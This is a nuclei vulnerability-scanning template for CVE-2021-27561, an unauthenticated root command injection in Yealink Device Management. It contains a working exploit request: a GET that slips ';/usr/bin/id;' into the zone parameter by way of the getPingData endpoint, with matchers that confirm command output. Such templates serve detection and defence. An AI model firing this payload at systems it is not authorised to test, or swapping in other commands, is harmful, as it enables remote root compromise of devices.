nuclei-templates/cves/2021/CVE-2021-27561.yaml

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id: CVE-2021-27561
info:
name: YeaLink DM 3.6.0.20 - Remote Command Injection
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author: shifacyclewala,hackergautam
severity: critical
description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
reference:
- https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
- https://ssd-disclosure.com/?p=4688
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27561
cwe-id: CWE-77
tags: cve,cve2021,rce,yealink,mirai,kev
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requests:
- method: GET
path:
- "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
matchers-condition: and
matchers:
- type: word
condition: and
part: body
words:
- 'uid'
- 'gid'
- 'groups'
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# Enhanced by mp on 2022/05/17